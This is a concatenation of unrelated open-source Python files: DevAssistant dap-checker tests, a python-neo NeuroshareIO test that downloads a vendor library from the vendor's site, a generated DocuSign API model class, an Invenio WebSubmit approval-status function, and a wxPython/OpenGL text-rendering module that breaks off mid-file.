only invalid dependencies are reported invalid''' d = Dap('', fake=True) d.meta['dependencies'] = ['foo', '1.0.0', 'foo != 1.0.0', 'bar'] d._find_bad_meta() ok, bads = d._arevalid('dependencies') assert sorted(bads) == sorted(['1.0.0', 'foo != 1.0.0']) def test_duplicate_dependencies(self): '''Test if duplicate valid dependencies are invalid''' d = Dap('', fake=True) d.meta['dependencies'] = ['A', 'B', 'A'] d._find_bad_meta() ok, bads = d._arevalid('dependencies') assert not ok assert bads == ['A'] def test_self_dependency(self): '''Test if depending on itself produces error''' d = Dap('', fake=True) d.meta['dependencies'] = ['a', 'b > 1'] d.meta['package_name'] = 'b' d._find_bad_meta() assert DapChecker.check_no_self_dependency(d) != [] d.meta['package_name'] = 'c' d._find_bad_meta() assert DapChecker.check_no_self_dependency(d) == [] d.meta['dependencies'] = ['c', 'b=1', 'a'] d.meta['package_name'] = 'b' d._find_bad_meta() assert DapChecker.check_no_self_dependency(d) == [] def test_empty_dependencies(self): '''Test if empty dependencies list is valid''' d = Dap('', fake=True) d.meta['dependencies'] = [] d._find_bad_meta() ok, null = d._arevalid('dependencies') assert ok @pytest.mark.parametrize('platforms', combinations(['suse', 'debian', 'fedora', 'redhat', 'centos', 'mandrake', 'mandriva', 'rocks', 'slackware', 'yellowdog', 'gentoo', 'unitedlinux', 'turbolinux', 'arch', 'mageia', 'ubuntu', 'darwin'])) def test_valid_supported_platforms(self, platforms): '''Test if valid supported_platforms are valid''' d = Dap('', fake=True) d.meta['supported_platforms'] = list(platforms) d._find_bad_meta() ok, bads = d._arevalid('supported_platforms') assert ok assert not bads @pytest.mark.parametrize('platforms', combinations(['linux', 'windows', '5', 'Mac OS X'])) def test_invalid_supported_platforms(self, platforms): '''Test if invalid supported_platforms are invalid''' d = Dap('', fake=True) d.meta['supported_platforms'] = list(platforms) d._find_bad_meta() ok, bads = d._arevalid('supported_platforms') assert not ok assert sorted(bads) == sorted(platforms) def test_invalid_supported_platforms_bads(self): '''Test if only invalid supported_platforms are reported as invalid''' d = Dap('', fake=True) d.meta['supported_platforms'] = ['fedora', 'bad', 'wrong', 'darwin'] d._find_bad_meta() ok, bads = d._arevalid('supported_platforms') assert sorted(bads) == ['bad', 'wrong'] def test_duplicate_supported_platforms(self): '''Test if duplicate valid supported_platforms are invalid''' d = Dap('', fake=True) d.meta['supported_platforms'] = ['fedora', 'redhat', 'fedora'] ok, bads = d._arevalid('supported_platforms') assert not ok assert bads == ['fedora'] def test_empty_supported_platforms(self): '''Test if empty supported_platforms list is valid''' d = Dap('', fake=True) d.meta['supported_platforms'] = [] ok, null = d._arevalid('supported_platforms') assert ok def test_meta_only_check(self): '''meta_only.dap should pass the test (errors only)''' dap = Dap(dap_path('meta_only/foo-1.0.0.dap')) assert DapChecker.check(dap, logger=l(level=logging.ERROR)) def test_meta_only_warning_check(self): '''meta_only.dap shopuld produce warning''' out = StringIO() dap = Dap(dap_path('meta_only/foo-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out)) assert len(out.getvalue().rstrip().split('\n')) == 1 assert 'Only meta.yaml in dap' in out.getvalue() def test_unknown_metadata(self): '''meta_only.dap with added value should fail''' out = StringIO() dap = Dap(dap_path('meta_only/foo-1.0.0.dap')) dap.meta['foo'] = 'bar' assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert len(out.getvalue().rstrip().split('\n')) == 1 assert 'Unknown metadata' in out.getvalue() assert 'foo' in out.getvalue() def test_forgotten_version_in_filename_and_dir(self): '''Dap without version in filename and dirname should produce 2 errors''' out = StringIO() dap = Dap(dap_path('meta_only/foo.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert len(out.getvalue().rstrip().split('\n')) == 2 assert 'Top-level directory with meta.yaml is not named foo-1.0.0' in out.getvalue() assert 'The dap filename is not foo-1.0.0.dap' in out.getvalue() def test_wrong_dap_filename(self): '''Dap with OK dirname, but wrong filename should produce 1 error''' out = StringIO() dap = Dap(dap_path('meta_only/bar.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert len(out.getvalue().rstrip().split('\n')) == 1 assert 'The dap filename is not foo-1.0.0.dap' in out.getvalue() def test_wrong_dap_filename_mimicked_to_be_ok(self): '''Dap with wrong filename, mimicked to be OK, should produce no error''' dap = Dap(dap_path('meta_only/bar.dap'), mimic_filename='foo-1.0.0.dap') assert DapChecker.check(dap, logger=l(level=logging.ERROR)) def test_good_dap_filename_mimicked_to_be_wrong(self): '''Error passing dap, should fail with wrong mimicked filename''' dap = Dap(dap_path('meta_only/foo-1.0.0.dap'), mimic_filename='wrong') assert not DapChecker.check(dap, logger=l(level=logging.ERROR)) def test_files_outside_of_toplevel_dir(self): '''Dap with files outside of top-level directory should produce error for each''' out = StringIO() dap = Dap(dap_path('outside_toplevel/foo-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert len(out.getvalue().rstrip().split('\n')) == 3 assert 'is outside' in out.getvalue() def test_empty_dirs(self): '''Dap with empty dirs produces warning''' out = StringIO() dap = Dap(dap_path('empty_dirs/foo-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out)) assert 'foo-1.0.0/assistants is empty directory (may be nested)' in out.getvalue() assert 'foo-1.0.0/assistants/crt is empty directory (may be nested)' in out.getvalue() assert 'foo-1.0.0/assistants/twk is empty directory (may be nested)' in out.getvalue() def test_wrong_files(self): '''Dap with wrong files produces errors''' out = StringIO() dap = Dap(dap_path('wrong_files/foo-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert len(out.getvalue().rstrip().split('\n')) == 21 assert '/files/wrong.txt is not allowed file' in out.getvalue() assert '/files/wrong/ is not allowed directory' in out.getvalue() assert '/files/wrong/a is not allowed file' in out.getvalue() assert '/files/foo/ is not allowed directory' in out.getvalue() assert '/files/foo/wrong is not allowed file' in out.getvalue() assert '/files/crt/wrong is not allowed file' in out.getvalue() assert '/icons/foo.gif is not allowed file' in out.getvalue() assert '/icons/foo.yaml is not allowed file' in out.getvalue() assert '/icons/twk/foo.gif is not allowed file' in out.getvalue() assert '/icons/twk/foo.yaml is not allowed file' in out.getvalue() assert '/icons/foo/ is not allowed directory' in out.getvalue() assert '/icons/foo/a.png is not allowed file' in out.getvalue() assert '/doc/README is not allowed file' in out.getvalue() assert '/snippets/bar/ is not allowed directory' in out.getvalue() assert '/snippets/bar/bar.yaml is not allowed file' in out.getvalue() assert '/assistants/wrong/ is not allowed directory' in out.getvalue() assert '/assistants/wrong/foo.yaml is not allowed file' in out.getvalue() assert '/assistants/extra/bar.txt is not allowed file' in out.getvalue() assert '/assistants/extra/bar.yaml is not allowed file' in out.getvalue() assert '/assistants/crt/test.yaml is not allowed file' in out.getvalue() assert '/assistants/prep/foo/ present' in out.getvalue() def test_icons_files_warnings(self): '''Dap with redundant or missing icons and redundant files should produce warnings''' out = StringIO() dap = Dap(dap_path('wrong_files/foo-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out)) assert 'Useless icon for non-exisiting assistant twk/foo/a' in out.getvalue() assert 'Useless icon for non-exisiting assistant twk/foo/a' in out.getvalue() assert 'Useless icon for non-exisiting assistant crt/foo' in out.getvalue() assert 'Useless icon for non-exisiting assistant crt/foo' in out.getvalue() assert 'Missing icon for assistant twk/foo/bar' in out.getvalue() assert 'Missing icon for assistant twk/foo/bar' in out.getvalue() assert 'Missing icon for assistant prep/foo/bar' in out.getvalue() assert 'Missing icon for assistant prep/foo/bar' in out.getvalue() def test_bad_yamls(self): '''Dap with malformed YAMLs should produce an error''' out = StringIO() dap = Dap(dap_path('badyamls/badyamls-1.0.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) desired = '''badyamls-1.0.dap: Source file assistants/crt/badyamls.yaml: Problem in: (top level) -> corrupted Invalid section name: corrupted ''' assert out.getvalue() == desired def test_empty_yamls(self): '''Dap with empty YAMLs should produce warning''' out = StringIO() dap = Dap(dap_path('badyamls/badyamls-1.0.dap')) assert not DapChecker.check(dap, logger=l(output=out)) assert 'badyamls-1.0.dap: Empty YAML snippets/badyamls.yaml' in out.getvalue() def test_dapi_check(self): '''Dap that is already on dapi should produce a warning when network is True''' out = StringIO() flexmock(dapicli).should_receive('data').and_return('something') dap = Dap(dap_path('meta_only/foo-1.0.0.dap')) DapChecker.check(dap, logger=l(output=out), network=True) assert 'This dap name is already registered on Dapi' in out.getvalue() def test_dapi_check_false(self): '''Dap that is not already on dapi should not produce a warning when network is True''' out = StringIO() flexmock(dapicli).should_receive('data').and_return('') dap = Dap(dap_path('meta_only/foo-1.0.0.dap')) DapChecker.check(dap, logger=l(output=out), network=True) assert 'This dap name is already registered on Dapi' not in out.getvalue() def test_dap_good_dependencies(self): '''Dap with good dependencies produces no error''' dap = Dap(dap_path('dependencies/good-1.0.0.dap')) assert DapChecker.check(dap, logger=l(level=logging.ERROR)) def test_dap_invalid_dependencies(self): '''Dap with invalid dependency produces an error''' out = StringIO() dap = Dap(dap_path('dependencies/invalid-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert 'invalid 0.0.1 in dependencies is not valid' in out.getvalue() def test_dap_self_dependenciey(self): '''Dap with self dependency produces an error''' out = StringIO() dap = Dap(dap_path('dependencies/self-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert 'Depends on dap with the same name as itself' in out.getvalue() @pytest.mark.parametrize('dap', glob.glob(dap_path('meta_only/*.dap'))) def test_sha256sum(self, dap): '''Check that sha256sum of the files is the same as sha256sum command does''' try: process = subprocess.Popen(['sha256sum', dap], stdout=subprocess.PIPE) except OSError: # This is the command for sha256sum on Mac process = subprocess.Popen(['shasum', '-a', '256', dap], stdout=subprocess.PIPE) assert Dap(dap).sha256sum == process.communicate()[0].split()[0].decode(utils.defenc) def test_assistants_and_snippets_property(self): '''Check that the assistants_and_snippets property contains the right results. This was renamed from list_assitants()''' # Using set because we don't care about the order dapdap = set([ 'assistants/crt/dap', 'assistants/twk/dap', 'assistants/twk/dap/add', 'assistants/twk/dap/pack', 'snippets/dap', ]) assert set(Dap(dap_path('list_assistants/dap-0.0.1a.dap')).assistants_and_snippets) == dapdap assert Dap(dap_path('meta_only/foo-1.0.0.dap')).assistants_and_snippets == [] @pytest.mark.parametrize(('pkg_name', 'expected'), [ (201*'a', True), ('foobar', False), ]) def test_pkg_name_too_long(self, pkg_name, expected): '''Package names must not exceed 200 characters''' dap = Dap(pkg_name, fake=True) dap.meta['package_name'] = pkg_name dap._find_bad_meta() problems = DapChecker.check_meta(dap) err_string = 'Package name is too long. It must not exceed 200 characters.' assert (err_string in [p.message for p in problems]) is expected @pytest.mark.parametrize('path', ['empty_dirs/foo-1.0.0.dap', 'no_assistants-0.0.1dev.dap']) def test_no_assistants_warning(self, path): '''Check if absence of both assitants and snippets is reported foo-1.0.0.dap is used because it has YAML assistants missing, no_assistants-0.0.1dev.dap doesn't have assistants/ or snippets/ directories at all''' dap = Dap(dap_path(path)) err_out = StringIO() warn_out = StringIO() DapChecker.check(dap, logger=l(output=warn_out, level=logging.WARNING)) DapChecker.check(dap, logger=l(output=err_out, level=logging.ERROR)) assert 'No Assistants or Snippets found' in warn_out.getvalue() assert 'No Assistants or Snippets found' not in err_out.getvalue() def test_icons(self): dap = Dap(None, fake=True, mimic_filename='foo') dap.files = ['foo/icons/crt/bar.svg', 'foo/icons/crt/baz.png', 'foo/icons/twk/qux.svg'] assert dap.icons() == ['icons/crt/bar.svg', 'icons/crt/baz.png', 'icons/twk/qux.svg'] assert dap.icons(strip_ext=True) == ['icons/crt/bar', 'icons/crt/baz', 'icons/twk/qux']
gpl-2.0
SPP1665DataAnalysisCourse/python-neo
neo/test/iotest/test_neuroshareio.py
2
3008
# -*- coding: utf-8 -*- """ Tests of neo.io.neuroshareio """ # needed for python 3 compatibility from __future__ import absolute_import, division import sys import os import tarfile import zipfile import tempfile import platform try: import unittest2 as unittest except ImportError: import unittest try: from urllib import urlretrieve # Py2 except ImportError: from urllib.request import urlretrieve # Py3 from neo.io import NeuroshareIO from neo.test.iotest.common_io_test import BaseTestIO class TestNeuroshareIO(unittest.TestCase, BaseTestIO): ioclass = NeuroshareIO files_to_test = [ ] files_to_download = [ 'Multichannel_fil_1.mcd', ] def setUp(self): BaseTestIO.setUp(self) if sys.platform.startswith('win'): distantfile = 'http://download.multichannelsystems.com/download_data/software/neuroshare/nsMCDLibrary_3.7b.zip' localfile = os.path.join(tempfile.gettempdir(),'nsMCDLibrary_3.7b.zip') if not os.path.exists(localfile): urlretrieve(distantfile, localfile) if platform.architecture()[0].startswith('64'): self.dllname = os.path.join(tempfile.gettempdir(),'Matlab/Matlab-Import-Filter/Matlab_Interface/nsMCDLibrary64.dll') if not os.path.exists(self.dllname): zip = zipfile.ZipFile(localfile) zip.extract('Matlab/Matlab-Import-Filter/Matlab_Interface/nsMCDLibrary64.dll', path = tempfile.gettempdir()) else: self.dllname = os.path.join(tempfile.gettempdir(),'Matlab/Matlab-Import-Filter/Matlab_Interface/nsMCDLibrary.dll') if not os.path.exists(self.dllname): zip = zipfile.ZipFile(localfile) zip.extract('Matlab/Matlab-Import-Filter/Matlab_Interface/nsMCDLibrary.dll', path = tempfile.gettempdir()) elif sys.platform.startswith('linux'): distantfile = 'http://download.multichannelsystems.com/download_data/software/neuroshare/nsMCDLibrary_Linux64_3.7b.tar.gz' localfile = os.path.join(tempfile.gettempdir(),'nsMCDLibrary_Linux64_3.7b.tar.gz') if not os.path.exists(localfile): urlretrieve(distantfile, localfile) self.dllname = os.path.join(tempfile.gettempdir(),'nsMCDLibrary/nsMCDLibrary.so') if not os.path.exists(self.dllname): tar = tarfile.open(localfile) tar.extract('nsMCDLibrary/nsMCDLibrary.so', path = tempfile.gettempdir()) def test_with_multichannel(self): filename0 = self.get_filename_path(self.files_to_download[0]) reader = NeuroshareIO(filename = filename0, dllname = self.dllname) blocks = reader.read() n = len(blocks[0].segments[0].analogsignals) assert n == 2, \ 'For {} , nb AnalogSignal: {} (should be 2)'.format(self.files_to_download[0], n) if __name__ == "__main__": unittest.main()
bsd-3-clause
docusign/docusign-python-client
docusign_esign/models/form_data_item.py
1
6485
# coding: utf-8 """ DocuSign REST API The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign. # noqa: E501 OpenAPI spec version: v2.1 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class FormDataItem(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'error_details': 'ErrorDetails', 'list_selected_value': 'str', 'name': 'str', 'original_value': 'str', 'value': 'str' } attribute_map = { 'error_details': 'errorDetails', 'list_selected_value': 'listSelectedValue', 'name': 'name', 'original_value': 'originalValue', 'value': 'value' } def __init__(self, error_details=None, list_selected_value=None, name=None, original_value=None, value=None): # noqa: E501 """FormDataItem - a model defined in Swagger""" # noqa: E501 self._error_details = None self._list_selected_value = None self._name = None self._original_value = None self._value = None self.discriminator = None if error_details is not None: self.error_details = error_details if list_selected_value is not None: self.list_selected_value = list_selected_value if name is not None: self.name = name if original_value is not None: self.original_value = original_value if value is not None: self.value = value @property def error_details(self): """Gets the error_details of this FormDataItem. # noqa: E501 :return: The error_details of this FormDataItem. # noqa: E501 :rtype: ErrorDetails """ return self._error_details @error_details.setter def error_details(self, error_details): """Sets the error_details of this FormDataItem. :param error_details: The error_details of this FormDataItem. # noqa: E501 :type: ErrorDetails """ self._error_details = error_details @property def list_selected_value(self): """Gets the list_selected_value of this FormDataItem. # noqa: E501 # noqa: E501 :return: The list_selected_value of this FormDataItem. # noqa: E501 :rtype: str """ return self._list_selected_value @list_selected_value.setter def list_selected_value(self, list_selected_value): """Sets the list_selected_value of this FormDataItem. # noqa: E501 :param list_selected_value: The list_selected_value of this FormDataItem. # noqa: E501 :type: str """ self._list_selected_value = list_selected_value @property def name(self): """Gets the name of this FormDataItem. # noqa: E501 # noqa: E501 :return: The name of this FormDataItem. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this FormDataItem. # noqa: E501 :param name: The name of this FormDataItem. # noqa: E501 :type: str """ self._name = name @property def original_value(self): """Gets the original_value of this FormDataItem. # noqa: E501 The initial value of the tab when it was sent to the recipient. # noqa: E501 :return: The original_value of this FormDataItem. # noqa: E501 :rtype: str """ return self._original_value @original_value.setter def original_value(self, original_value): """Sets the original_value of this FormDataItem. The initial value of the tab when it was sent to the recipient. # noqa: E501 :param original_value: The original_value of this FormDataItem. # noqa: E501 :type: str """ self._original_value = original_value @property def value(self): """Gets the value of this FormDataItem. # noqa: E501 Specifies the value of the tab. # noqa: E501 :return: The value of this FormDataItem. # noqa: E501 :rtype: str """ return self._value @value.setter def value(self, value): """Sets the value of this FormDataItem. Specifies the value of the tab. # noqa: E501 :param value: The value of this FormDataItem. # noqa: E501 :type: str """ self._value = value def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(FormDataItem, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, FormDataItem): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
mit
nkalodimas/invenio
modules/websubmit/lib/functions/Test_Status.py
33
3103
## This file is part of Invenio. ## Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option) any later version. ## ## Invenio is distributed in the hope that it will be useful, but ## WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## along with Invenio; if not, write to the Free Software Foundation, Inc., ## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. __revision__ = "$Id$" ## Description: function Test_Status ## This function checks whether the document is still waiting ## for approval or not. ## Author: T.Baron ## ## PARAMETERS: - from invenio.dbquery import run_sql from invenio.websubmit_config import InvenioWebSubmitFunctionStop def Test_Status(parameters, curdir, form, user_info=None): """ This function checks whether the considered document has been requested for approval and is still waiting for approval. It also checks whether the password stored in file 'password' of the submission directory corresponds to the password associated with the document. """ global rn res = run_sql("SELECT status, access FROM sbmAPPROVAL WHERE rn=%s", (rn,)) if len(res) == 0: raise InvenioWebSubmitFunctionStop(printNotRequested(rn)) else: if res[0][0] == "approved": raise InvenioWebSubmitFunctionStop(printApproved(rn)) elif res[0][0] == "rejected": raise InvenioWebSubmitFunctionStop(printRejected(rn)) return "" def printNotRequested(rn): t=""" <SCRIPT> document.forms[0].action="/submit"; document.forms[0].curpage.value = 1; document.forms[0].step.value = 0; user_must_confirm_before_leaving_page = false; alert('The document %s has never been asked for approval.\\nAnyway, you can still choose another document if you wish.'); document.forms[0].submit(); </SCRIPT>""" % rn return t def printApproved(rn): t=""" <SCRIPT> document.forms[0].action="/submit"; document.forms[0].curpage.value = 1; document.forms[0].step.value = 0; user_must_confirm_before_leaving_page = false; alert('The document %s has already been approved.\\nAnyway, you can still choose another document if you wish.'); document.forms[0].submit(); </SCRIPT>""" % rn return t def printRejected(rn): t=""" <SCRIPT> document.forms[0].action="/submit"; document.forms[0].curpage.value = 1; document.forms[0].step.value = 0; user_must_confirm_before_leaving_page = false; alert('The document %s has already been rejected.\\nAnyway, you can still choose another document if you wish.'); document.forms[0].submit(); </SCRIPT>""" % rn return t
gpl-2.0
douggeiger/gnuradio
gr-wxgui/python/wxgui/plotter/gltext.py
37
16891
#!/usr/bin/env python # -*- coding: utf-8 # # Provides some text display functions for wx + ogl # Copyright (C) 2007 Christian Brugger, Stefan Hacker # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. import wx from OpenGL.GL import * """ Optimize with psyco if possible, this gains us about 50% speed when creating our textures in trade for about 4MBytes of additional memory usage for psyco. If you don't like loosing the memory you have to turn the lines following "enable psyco" into a comment while uncommenting the line after "Disable psyco". """ #Try to enable psyco try: import psyco psyco_optimized = False except ImportError: psyco = None #Disable psyco #psyco = None class TextElement(object): """ A simple class for using system Fonts to display text in an OpenGL scene """ def __init__(self, text = '', font = None, foreground = wx.BLACK, centered = False): """ text (String) - Text font (wx.Font) - Font to draw with (None = System default) foreground (wx.Color) - Color of the text or (wx.Bitmap)- Bitmap to overlay the text with centered (bool) - Center the text Initializes the TextElement """ # save given variables self._text = text self._lines = text.split('\n') self._font = font self._foreground = foreground self._centered = centered # init own variables self._owner_cnt = 0 #refcounter self._texture = None #OpenGL texture ID self._text_size = None #x/y size tuple of the text self._texture_size= None #x/y Texture size tuple # create Texture self.createTexture() #---Internal helpers def _getUpper2Base(self, value): """ Returns the lowest value with the power of 2 greater than 'value' (2^n>value) """ base2 = 1 while base2 < value: base2 *= 2 return base2 #---Functions def draw_text(self, position = wx.Point(0,0), scale = 1.0, rotation = 0): """ position (wx.Point) - x/y Position to draw in scene scale (float) - Scale rotation (int) - Rotation in degree Draws the text to the scene """ #Enable necessary functions glColor(1,1,1,1) glEnable(GL_TEXTURE_2D) glEnable(GL_ALPHA_TEST) #Enable alpha test glAlphaFunc(GL_GREATER, 0) glEnable(GL_BLEND) #Enable blending glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) #Bind texture glBindTexture(GL_TEXTURE_2D, self._texture) ow, oh = self._text_size w , h = self._texture_size #Perform transformations glPushMatrix() glTranslated(position.x, position.y, 0) glRotate(-rotation, 0, 0, 1) glScaled(scale, scale, scale) if self._centered: glTranslate(-w/2, -oh/2, 0) #Draw vertices glBegin(GL_QUADS) glTexCoord2f(0,0); glVertex2f(0,0) glTexCoord2f(0,1); glVertex2f(0,h) glTexCoord2f(1,1); glVertex2f(w,h) glTexCoord2f(1,0); glVertex2f(w,0) glEnd() glPopMatrix() #Disable features glDisable(GL_BLEND) glDisable(GL_ALPHA_TEST) glDisable(GL_TEXTURE_2D) def createTexture(self): """ Creates a texture from the settings saved in TextElement, to be able to use normal system fonts conviently a wx.MemoryDC is used to draw on a wx.Bitmap. As wxwidgets device contexts don't support alpha at all it is necessary to apply a little hack to preserve antialiasing without sticking to a fixed background color: We draw the bmp in b/w mode so we can use its data as a alpha channel for a solid color bitmap which after GL_ALPHA_TEST and GL_BLEND will show a nicely antialiased text on any surface. To access the raw pixel data the bmp gets converted to a wx.Image. Now we just have to merge our foreground color with the alpha data we just created and push it all into a OpenGL texture and we are DONE *inhalesdelpy* DRAWBACK of the whole conversion thing is a really long time for creating the texture. If you see any optimizations that could save time PLEASE CREATE A PATCH!!! """ # get a memory dc dc = wx.MemoryDC() # Select an empty bitmap into the MemoryDC - otherwise the call to # GetMultiLineTextExtent() may fail below dc.SelectObject(wx.EmptyBitmap(1,1)) # set our font dc.SetFont(self._font) # Approximate extend to next power of 2 and create our bitmap # REMARK: You wouldn't believe how much fucking speed this little # sucker gains compared to sizes not of the power of 2. It's like # 500ms --> 0.5ms (on my ATI-GPU powered Notebook). On Sams nvidia # machine there don't seem to occur any losses...bad drivers? ow, oh = dc.GetMultiLineTextExtent(self._text)[:2] w, h = self._getUpper2Base(ow), self._getUpper2Base(oh) self._text_size = wx.Size(ow,oh) self._texture_size = wx.Size(w,h) bmp = wx.EmptyBitmap(w,h) #Draw in b/w mode to bmp so we can use it as alpha channel dc.SelectObject(bmp) dc.SetBackground(wx.BLACK_BRUSH) dc.Clear() dc.SetTextForeground(wx.WHITE) x,y = 0,0 centered = self.centered for line in self._lines: if not line: line = ' ' tw, th = dc.GetTextExtent(line) if centered: x = int(round((w-tw)/2)) dc.DrawText(line, x, y) x = 0 y += th #Release the dc dc.SelectObject(wx.NullBitmap) del dc #Generate a correct RGBA data string from our bmp """ NOTE: You could also use wx.AlphaPixelData to access the pixel data in 'bmp' directly, but the iterator given by it is much slower than first converting to an image and using wx.Image.GetData(). """ img = wx.ImageFromBitmap(bmp) alpha = img.GetData() if isinstance(self._foreground, wx.Colour): """ If we have a static color... """ r,g,b = self._foreground.Get() color = "%c%c%c" % (chr(r), chr(g), chr(b)) data = '' for i in xrange(0, len(alpha)-1, 3): data += color + alpha[i] elif isinstance(self._foreground, wx.Bitmap): """ If we have a bitmap... """ bg_img = wx.ImageFromBitmap(self._foreground) bg = bg_img.GetData() bg_width = self._foreground.GetWidth() bg_height = self._foreground.GetHeight() data = '' for y in xrange(0, h): for x in xrange(0, w): if (y > (bg_height-1)) or (x > (bg_width-1)): color = "%c%c%c" % (chr(0),chr(0),chr(0)) else: pos = (x+y*bg_width) * 3 color = bg[pos:pos+3] data += color + alpha[(x+y*w)*3] # now convert it to ogl texture self._texture = glGenTextures(1) glBindTexture(GL_TEXTURE_2D, self._texture) glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR) glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR) glPixelStorei(GL_UNPACK_ROW_LENGTH, 0) glPixelStorei(GL_UNPACK_ALIGNMENT, 2) glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, data) def deleteTexture(self): """ Deletes the OpenGL texture object """ if self._texture: if glIsTexture(self._texture): glDeleteTextures(self._texture) else: self._texture = None def bind(self): """ Increase refcount """ self._owner_cnt += 1 def release(self): """ Decrease refcount """ self._owner_cnt -= 1 def isBound(self): """ Return refcount """ return self._owner_cnt def __del__(self): """ Destructor """ self.deleteTexture() #---Getters/Setters def getText(self): return self._text def getFont(self): return self._font def getForeground(self): return self._foreground def getCentered(self): return self._centered def getTexture(self): return self._texture def getTexture_size(self): return self._texture_size def getOwner_cnt(self): return self._owner_cnt def setOwner_cnt(self, value): self._owner_cnt = value #---Properties text = property(getText, None, None, "Text of the object") font = property(getFont, None, None, "Font of the object") foreground = property(getForeground, None, None, "Color of the text") centered = property(getCentered, None, None, "Is text centered") owner_cnt = property(getOwner_cnt, setOwner_cnt, None, "Owner count") texture = property(getTexture, None, None, "Used texture") texture_size = property(getTexture_size, None, None, "Size of the used texture") class Text(object): """ A simple class for using System Fonts to display text in an OpenGL scene. The Text adds a global Cache of already created text elements to TextElement's base functionality so you can save some memory and increase speed """ _texts = [] #Global cache for TextElements def __init__(self, text = 'Text', font = None, font_size = 8, foreground = wx.BLACK, centered = False, bold = False): """ text (string) - displayed text font (wx.Font) - if None, system default font will be used with font_size font_size (int) - font size in points foreground (wx.Color) - Color of the text or (wx.Bitmap) - Bitmap to overlay the text with centered (bool) - should the text drawn centered towards position? Initializes the text object """ #Init/save variables self._aloc_text = None self._text = text self._font_size = font_size self._foreground= foreground self._centered = centered #Check if we are offered a font if not font: #if not use the system default self._font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) else: #save it self._font = font if bold: self._font.SetWeight(wx.FONTWEIGHT_BOLD) #Bind us to our texture self._initText() #---Internal helpers def _initText(self): """ Initializes/Reinitializes the Text object by binding it to a TextElement suitable for its current settings """ #Check if we already bound to a texture if self._aloc_text: #if so release it self._aloc_text.release() if not self._aloc_text.isBound(): self._texts.remove(self._aloc_text) self._aloc_text = None #Adjust our font self._font.SetPointSize(self._font_size) #Search for existing element in our global buffer for element in self._texts: if element.text == self._text and\ element.font == self._font and\ element.foreground == self._foreground and\ element.centered == self._centered: # We already exist in global buffer ;-) element.bind() self._aloc_text = element break if not self._aloc_text: # We are not in the global buffer, let's create ourselves aloc_text = self._aloc_text = TextElement(self._text, self._font, self._foreground, self._centered) aloc_text.bind() self._texts.append(aloc_text) def __del__(self): """ Destructor """ aloc_text = self._aloc_text aloc_text.release() if not aloc_text.isBound(): self._texts.remove(aloc_text) #---Functions def draw_text(self, position = wx.Point(0,0), scale = 1.0, rotation = 0): """ position (wx.Point) - x/y Position to draw in scene scale (float) - Scale rotation (int) - Rotation in degree Draws the text to the scene """ self._aloc_text.draw_text(position, scale, rotation) #---Setter/Getter def getText(self): return self._text def setText(self, value, reinit = True): """ value (bool) - New Text reinit (bool) - Create a new texture Sets a new text """ self._text = value if reinit: self._initText() def getFont(self): return self._font def setFont(self, value, reinit = True): """ value (bool) - New Font reinit (bool) - Create a new texture Sets a new font """ self._font = value if reinit: self._initText() def getFont_size(self): return self._font_size def setFont_size(self, value, reinit = True): """ value (bool) - New font size reinit (bool) - Create a new texture Sets a new font size """ self._font_size = value if reinit: self._initText() def getForeground(self): return self._foreground def setForeground(self, value, reinit = True): """ value (bool) - New centered value reinit (bool) - Create a new texture Sets a new value for 'centered' """ self._foreground 